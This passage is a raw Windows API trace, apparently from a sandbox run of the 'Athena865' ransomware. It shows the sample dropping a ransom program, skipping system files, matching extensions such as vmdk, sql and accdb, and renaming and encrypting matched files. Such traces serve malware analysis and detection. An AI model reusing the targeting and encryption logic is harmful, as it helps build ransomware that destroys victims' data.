lpString2="sql") returned 1 [0055.948] lstrlenW (lpString="sqlite") returned 6 [0055.948] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0055.948] lstrlenW (lpString="sqlite3") returned 7 [0055.948] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0055.948] lstrlenW (lpString="sqlitedb") returned 8 [0055.948] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0055.948] lstrlenW (lpString="xml") returned 3 [0055.948] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0055.948] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0055.948] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0055.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.949] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4207) returned 1 [0055.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ab8 [0055.949] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518b40) returned 1 [0055.950] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.950] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.950] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1370, lpName=0x0) returned 0x154 [0055.951] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1370) returned 0x100000 [0055.952] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518b40) returned 1 [0055.953] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.953] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.954] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0055.954] CloseHandle (hObject=0x154) returned 1 [0055.954] CloseHandle (hObject=0x17c) returned 1 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ab8 | out: hHeap=0x4f0000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.954] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0055.954] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0055.954] ReleaseMutex (hMutex=0xec) returned 1 [0055.954] CloseHandle (hObject=0xec) returned 1 [0055.954] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f568 | out: hHeap=0x4f0000) returned 1 [0055.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 62 [0055.955] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\17ECBD39A2ABA323B54D710E0785D1B2") returned 0xec [0055.955] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0055.955] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" [0055.955] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0055.955] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0055.955] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0055.955] GetLastError () returned 0x0 [0055.955] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0055.955] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0055.956] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0055.956] CloseHandle (hObject=0xf4) returned 1 [0055.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0055.956] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0055.956] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd346960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0055.957] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0055.957] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0055.957] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.957] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd346960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.957] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0055.957] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0055.957] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.957] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.957] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd346960, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0055.957] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0055.957] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0055.957] lstrlenW (lpString="Setup.xml") returned 9 [0055.957] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0055.957] lstrlenW (lpString="Setup.xml") returned 9 [0055.957] lstrlenW (lpString="Athena865") returned 9 [0055.957] lstrlenW (lpString=".dll") returned 4 [0055.957] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0055.958] lstrlenW (lpString=".lnk") returned 4 [0055.958] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0055.958] lstrlenW (lpString=".ini") returned 4 [0055.958] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0055.958] lstrlenW (lpString=".sys") returned 4 [0055.958] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0055.958] lstrlenW (lpString="Setup.xml") returned 9 [0055.958] lstrlenW (lpString="bak") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0055.958] lstrlenW (lpString="ba_") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0055.958] lstrlenW (lpString="dbb") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0055.958] lstrlenW (lpString="vmdk") returned 4 [0055.958] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0055.958] lstrlenW (lpString="rar") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0055.958] lstrlenW (lpString="zip") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0055.958] lstrlenW (lpString="tgz") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0055.958] lstrlenW (lpString="vbox") returned 4 [0055.958] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0055.958] lstrlenW (lpString="vdi") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0055.958] lstrlenW (lpString="vhd") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0055.958] lstrlenW (lpString="vhdx") returned 4 [0055.958] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0055.958] lstrlenW (lpString="avhd") returned 4 [0055.958] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0055.958] lstrlenW (lpString="db") returned 2 [0055.958] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0055.958] lstrlenW (lpString="db2") returned 3 [0055.958] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0055.959] lstrlenW (lpString="db3") returned 3 [0055.959] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0055.959] lstrlenW (lpString="dbf") returned 3 [0055.959] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0055.959] lstrlenW (lpString="mdf") returned 3 [0055.959] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0055.959] lstrlenW (lpString="mdb") returned 3 [0055.959] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0055.959] lstrlenW (lpString="sql") returned 3 [0055.959] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0055.959] lstrlenW (lpString="sqlite") returned 6 [0055.959] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0055.959] lstrlenW (lpString="sqlite3") returned 7 [0055.959] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0055.959] lstrlenW (lpString="sqlitedb") returned 8 [0055.959] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0055.959] lstrlenW (lpString="xml") returned 3 [0055.965] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0055.965] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0055.966] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0055.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.968] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2424) returned 1 [0055.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0055.969] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0055.969] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.969] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0055.970] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc80, lpName=0x0) returned 0x154 [0055.971] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc80) returned 0x100000 [0055.972] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0055.972] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.972] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.973] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0055.974] CloseHandle (hObject=0x154) returned 1 [0055.974] CloseHandle (hObject=0x17c) returned 1 [0055.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0055.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.974] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2=".") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="..") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="windows") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="bootmgr") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="temp") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="pagefile.sys") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="boot") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="ids.txt") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="ntuser.dat") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="perflogs") returned 1 [0055.974] lstrcmpiW (lpString1="WordLR.cab", lpString2="MSBuild") returned 1 [0055.974] lstrlenW (lpString="WordLR.cab") returned 10 [0055.974] lstrcpyW (in: lpString1=0x241e8c6, lpString2="WordLR.cab" | out: lpString1="WordLR.cab") returned="WordLR.cab" [0055.974] lstrlenW (lpString="WordLR.cab") returned 10 [0055.974] lstrlenW (lpString="Athena865") returned 9 [0055.974] lstrcmpiW (lpString1="ordLR.cab", lpString2="Athena865") returned 1 [0055.975] lstrlenW (lpString=".dll") returned 4 [0055.975] lstrcmpiW (lpString1="WordLR.cab", lpString2=".dll") returned 1 [0055.975] lstrlenW (lpString=".lnk") returned 4 [0055.975] lstrcmpiW (lpString1="WordLR.cab", lpString2=".lnk") returned 1 [0055.975] lstrlenW (lpString=".ini") returned 4 [0055.975] lstrcmpiW (lpString1="WordLR.cab", lpString2=".ini") returned 1 [0055.975] lstrlenW (lpString=".sys") returned 4 [0055.975] lstrcmpiW (lpString1="WordLR.cab", lpString2=".sys") returned 1 [0055.975] lstrlenW (lpString="WordLR.cab") returned 10 [0055.975] lstrlenW (lpString="bak") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0055.975] lstrlenW (lpString="ba_") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0055.975] lstrlenW (lpString="dbb") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0055.975] lstrlenW (lpString="vmdk") returned 4 [0055.975] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0055.975] lstrlenW (lpString="rar") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0055.975] lstrlenW (lpString="zip") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0055.975] lstrlenW (lpString="tgz") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0055.975] lstrlenW (lpString="vbox") returned 4 [0055.975] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0055.975] lstrlenW (lpString="vdi") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0055.975] lstrlenW (lpString="vhd") returned 3 [0055.975] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0055.976] lstrlenW (lpString="vhdx") returned 4 [0055.976] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0055.976] lstrlenW (lpString="avhd") returned 4 [0055.976] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0055.976] lstrlenW (lpString="db") returned 2 [0055.976] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0055.976] lstrlenW (lpString="db2") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0055.976] lstrlenW (lpString="db3") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0055.976] lstrlenW (lpString="dbf") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0055.976] lstrlenW (lpString="mdf") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0055.976] lstrlenW (lpString="mdb") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0055.976] lstrlenW (lpString="sql") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0055.976] lstrlenW (lpString="sqlite") returned 6 [0055.976] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0055.976] lstrlenW (lpString="sqlite3") returned 7 [0055.976] lstrcmpiW (lpString1="dLR.cab", lpString2="sqlite3") returned -1 [0055.976] lstrlenW (lpString="sqlitedb") returned 8 [0055.976] lstrcmpiW (lpString1="rdLR.cab", lpString2="sqlitedb") returned -1 [0055.976] lstrlenW (lpString="xml") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0055.976] lstrlenW (lpString="$er") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0055.976] lstrlenW (lpString="4dd") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0055.976] lstrlenW (lpString="4dl") returned 3 [0055.976] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0055.976] lstrlenW (lpString="^^^") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0055.977] lstrlenW (lpString="abs") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0055.977] lstrlenW (lpString="abx") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0055.977] lstrlenW (lpString="accdb") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0055.977] lstrlenW (lpString="accdc") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0055.977] lstrlenW (lpString="accde") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0055.977] lstrlenW (lpString="accdr") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0055.977] lstrlenW (lpString="accdt") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0055.977] lstrlenW (lpString="accdw") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0055.977] lstrlenW (lpString="accft") returned 5 [0055.977] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0055.977] lstrlenW (lpString="adb") returned 3 [0055.977] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0055.977] lstrlenW (lpString="adb") returned 3 [0055.977] 